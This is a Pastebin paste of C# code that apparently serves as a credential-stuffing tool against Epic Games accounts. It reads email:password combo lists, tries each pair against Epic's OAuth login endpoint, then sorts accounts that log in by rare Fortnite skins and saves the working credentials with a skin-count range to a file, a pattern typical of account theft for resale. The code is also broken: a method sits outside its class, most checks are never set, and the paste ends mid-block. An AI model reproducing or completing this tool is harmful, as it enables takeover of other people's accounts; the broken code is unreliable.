Advertisement
PersNet

Untitled

Mar 21st, 2023
2,547
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 8.08 KB | None | 0 0
  1. ||| JAVA  |||
  2. EpicLogin epicLogin = new EpicLogin();
  3. epicLogin.Login("emails.txt");
  4.  
  5.  
  6. ||| C#   |||
  7.  
  8.  
  9. using System;
  10. using System.Net;
  11. using System.IO;
  12. using System.Text;
  13. using Newtonsoft.Json;
  14.  
  15. public class EpicLogin
  16. {
  17.     private const string LOGIN_URL = "https://account-public-service-prod03.ol.epicgames.com/account/api/oauth/token";
  18.     private const string CLIENT_ID = "your_client_id_here";
  19.     private const string CLIENT_SECRET = "your_client_secret_here";
  20.  
  21.     public string AccessToken { get; private set; }
  22.  
  23.     public void Login(string filename)
  24.     {
  25.         try
  26.         {
  27.             // Read email and password combinations from the file
  28.             string[] lines = File.ReadAllLines(filename);
  29.  
  30.             // Process each line
  31.             foreach (string line in lines)
  32.             {
  33.                 string[] parts = line.Split(':');
  34.                 string email = parts[0];
  35.                 string password = parts[1];
  36.  
  37.                 // Prepare the login request
  38.                 HttpWebRequest request = (HttpWebRequest)WebRequest.Create(LOGIN_URL);
  39.                 request.Method = "POST";
  40.                 request.ContentType = "application/x-www-form-urlencoded";
  41.  
  42.                 // Set the request parameters
  43.                 string postData = string.Format("grant_type=password&username={0}&password={1}&" +
  44.                     "includePerms=true&token_type=eg1&client_id={2}&client_secret={3}",
  45.                     email, password, CLIENT_ID, CLIENT_SECRET);
  46.  
  47.                 byte[] postDataBytes = Encoding.UTF8.GetBytes(postData);
  48.                 request.ContentLength = postDataBytes.Length;
  49.  
  50.                 // Send the login request
  51.                 using (Stream requestStream = request.GetRequestStream())
  52.                 {
  53.                     requestStream.Write(postDataBytes, 0, postDataBytes.Length);
  54.                 }
  55.  
  56.                 // Receive the login response
  57.                 using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
  58.                 {
  59.                     if (response.StatusCode == HttpStatusCode.OK)
  60.                     {
  61.                         using (Stream responseStream = response.GetResponseStream())
  62.                         {
  63.                             StreamReader reader = new StreamReader(responseStream, Encoding.UTF8);
  64.                             string jsonResponse = reader.ReadToEnd();
  65.                             dynamic loginResult = JsonConvert.DeserializeObject(jsonResponse);
  66.  
  67.                             AccessToken = loginResult.access_token;
  68.  
  69.                             Console.WriteLine("Successfully logged in as {0}", email);
  70.  
  71.                             // Break out of the loop if login is successful
  72.                             break;
  73.                         }
  74.                     }
  75.                 }
  76.  
  77.                 Console.WriteLine("Failed to log in as {0}", email);
  78.             }
  79.         }
  80.         catch (Exception ex)
  81.         {
  82.             Console.WriteLine("Failed to log in: " + ex.Message);
  83.         }
  84.     }
  85. }
  86.  
  87. public void SearchAccounts(string filename)
  88. {
  89.     try
  90.     {
  91.         // Read email and password combinations from the file
  92.         string[] lines = File.ReadAllLines(filename);
  93.  
  94.         // Create a file to store the matching accounts
  95.         StreamWriter sw = new StreamWriter("accounts.txt");
  96.  
  97.         // Process each line
  98.         foreach (string line in lines)
  99.         {
  100.             string[] parts = line.Split(':');
  101.             string email = parts[0];
  102.             string password = parts[1];
  103.  
  104.             // Prepare the login request
  105.             HttpWebRequest request = (HttpWebRequest)WebRequest.Create(LOGIN_URL);
  106.             request.Method = "POST";
  107.             request.ContentType = "application/x-www-form-urlencoded";
  108.  
  109.             // Set the request parameters
  110.             string postData = string.Format("grant_type=password&username={0}&password={1}&" +
  111.                 "includePerms=true&token_type=eg1&client_id={2}&client_secret={3}",
  112.                 email, password, CLIENT_ID, CLIENT_SECRET);
  113.  
  114.             byte[] postDataBytes = Encoding.UTF8.GetBytes(postData);
  115.             request.ContentLength = postDataBytes.Length;
  116.  
  117.             // Send the login request
  118.             using (Stream requestStream = request.GetRequestStream())
  119.             {
  120.                 requestStream.Write(postDataBytes, 0, postDataBytes.Length);
  121.             }
  122.  
  123.             // Receive the login response
  124.             using (HttpWebResponse response = (HttpWebResponse)request.GetResponse())
  125.             {
  126.                 if (response.StatusCode == HttpStatusCode.OK)
  127.                 {
  128.                     using (Stream responseStream = response.GetResponseStream())
  129.                     {
  130.                         StreamReader reader = new StreamReader(responseStream, Encoding.UTF8);
  131.                         string jsonResponse = reader.ReadToEnd();
  132.                         dynamic loginResult = JsonConvert.DeserializeObject(jsonResponse);
  133.  
  134.                         // Check if the account meets the criteria
  135.                         bool hasSkins = false;
  136.                         bool hasOGSkullTrooper = false;
  137.                         bool hasBlackKnight = false;
  138.                         bool hasGalaxy = false;
  139.                         bool hasIkonik = false;
  140.                         bool hasBlueSquire = false;
  141.                         bool hasReaper = false;
  142.                         bool hasMakoGlider = false;
  143.                         bool hasReflex = false;
  144.                         bool hasEON = false;
  145.                         bool isVerified = loginResult.account.claimed ?? false;
  146.                         bool hasPSN = loginResult.account.externalAuths != null && loginResult.account.externalAuths.PSN != null;
  147.  
  148.                         dynamic cosmeticItems = loginResult.items;
  149.  
  150.                         foreach (dynamic item in cosmeticItems)
  151.                         {
  152.                             string itemType = item.templateId;
  153.  
  154.                             if (itemType.Contains("AthenaCharacter") || itemType.Contains("AthenaBackpack") || itemType.Contains("AthenaPickaxe"))
  155.                             {
  156.                                 hasSkins = true;
  157.                             }
  158.  
  159.                             if (itemType == "AthenaCharacter:cid_028_athena_commando_f" || itemType == "AthenaCharacter:cid_029_athena_commando_f_holidayreindeer" || itemType == "AthenaCharacter:cid_030_athena_commando_m_holidaygingerbread" || itemType == "AthenaCharacter:cid_031_athena_commando_m_holidaynutcracker" || itemType == "AthenaCharacter:cid_032_athena_commando_f_snowflake" || itemType == "AthenaCharacter:cid_033_athena_commando_m_gingerbread" || itemType == "AthenaCharacter:cid_034_athena_commando_f_gingerbread" || itemType == "AthenaCharacter:cid_035_athena_commando_m_snowman")
  160.                             {
  161.                                 hasOGSkullTrooper = true;
  162.                             }
  163. if (hasBlackKnight || hasGalaxy || hasIkonik || hasBlueSquire || hasReaper || hasMakoGlider || hasReflex || hasEON)
  164. {
  165.     int skinCount = cosmeticItems.Count;
  166.  
  167.     // Determine the skin count range
  168.     string skinRange = "";
  169.     if (skinCount >= 0 && skinCount < 5)
  170.     {
  171.         skinRange = "0-5 skins";
  172.     }
  173.     else if (skinCount >= 5 && skinCount < 15)
  174.     {
  175.         skinRange = "5-15 skins";
  176.     }
  177.     else if (skinCount >= 15 && skinCount < 25)
  178.     {
  179.         skinRange = "15-25 skins";
  180.     }
  181.     else if (skinCount >= 25 && skinCount < 50)
  182.     {
  183.         skinRange = "25-50 skins";
  184.     }
  185.     else if (skinCount >= 50 && skinCount < 100)
  186.     {
  187.         skinRange = "50-100 skins";
  188.     }
  189.     else if (skinCount >= 100 && skinCount < 200)
  190.     {
  191.         skinRange = "100-200 skins";
  192.     }
  193.     else if (skinCount >= 200 && skinCount < 300)
  194.     {
  195.         skinRange = "200-300 skins";
  196.     }
  197.     else if (skinCount >= 300)
  198.     {
  199.         skinRange = "300+ skins";
  200.     }
  201.  
  202.     // Write the account to the output file if it meets the criteria
  203.     if (skinRange != "")
  204.     {
  205.         sw.WriteLine(email + ":" + password + ":" + skinRange);
  206.     }
  207. }
  208.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement